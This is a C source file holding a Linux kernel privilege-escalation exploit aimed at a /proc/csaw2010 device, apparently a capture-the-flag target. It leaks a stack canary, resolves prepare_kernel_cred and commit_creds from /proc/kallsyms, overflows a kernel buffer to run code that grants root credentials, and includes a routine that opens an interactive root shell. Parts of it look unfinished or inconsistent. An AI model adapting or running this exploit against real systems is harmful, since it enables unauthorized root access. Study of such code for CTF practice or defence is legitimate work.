#include <stdio.h>
#include <string.h>

#include <unistd.h>
#include <fcntl.h>

#include <sys/mman.h>

#define MAX             64
typedef struct cred *(*prepare_kernel_cred_t)(void *);
typedef int (*commit_creds_t)(struct cred *);

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

void
print_hex(char *buf, int size)
{
        int i, j;
        for (i = 0; i < size; ++i) {
                printf("%02hhx", buf[i]);
                if ((i+1) % 16 == 0) {
                        printf("  ");
                        for (j = i - 16 + 1; j <= i; ++j)
                                printf("%c", isprint(buf[j]) ? buf[j] : '.');
                        printf("\n");
                } else if ((i+1) % 8 == 0)
                        printf("  ");
                else
                        printf(" ");
        }
        if (i % 16)
                printf("\n");
}

void *
get_ksymbol(char *name)
{
        FILE *f = fopen("/proc/kallsyms", "r");
        char c, sym[512];
        void *addr;
        int ret;

        while (fscanf(f, "%p %c %s\n", &addr, &c, sym) > 0) {
                if (!strcmp(sym, name))
                        return addr;
        }

        return NULL;
}

int
open_file(void)
{
        int fd = open("/proc/csaw2010", O_RDWR);
        if (fd == -1)
                err(1, "open");
        return fd;
}

void
payload(void)
{
        if (getuid() == 0) {
                printf("[+] enjoy the shell\n");
                execl("/bin/sh", "sh", "-i", NULL);
        } else {
                warnx("failed to get root. How did we even get here?");
        }

        _exit(0);
}

void
return_to_userland(void)
{

}

void
kernel_code(void)
{
        commit_creds(prepare_kernel_cred(0));
}

void
trigger_vuln(int fd, int canary)
{

#define MAX_PAYLOAD (MAX + 1  * sizeof(void*) )
        char buf[MAX_PAYLOAD], *p;

        bzero(buf, sizeof(buf));
       // memset(buf, 'A', sizeof(buf));



  p = buf + MAX;
    *(void **)p = (void *)canary;

    p += 7 * sizeof(void *);
    *(void **)p = (void *) &kernel_code;
    /* Point p to the canary's spot and set it. */
        printf("Payload:\n");
        print_hex(buf, sizeof(buf));
        printf("[*] hold on to your butts\n");

        /* Kaboom! */
        write(fd, buf, sizeof(buf));
}

int
gather_information(int fd)
{
        int canary, i;

        if (lseek(fd, 32, SEEK_SET) == -1)
                err(2, "lseek");
        read(fd, &canary, sizeof(canary));

        printf("[+] found canary: %08x\n", canary);

        return canary;
}

void
resolve_kernel_symbols(void)
{
        prepare_kernel_cred     = get_ksymbol("prepare_kernel_cred");
        commit_creds            = get_ksymbol("commit_creds");

        if (!prepare_kernel_cred || !commit_creds)
                errx(1, "couldn't map all kernel symbols");
}

int
main(void)
{
        int fd, canary;

        resolve_kernel_symbols();

        fd = open_file();
        canary = gather_information(fd);

        trigger_vuln(fd, canary);

        /* If we're here, we've failed. */
        close(fd);

        errx("[-] exploit failed\n");
}
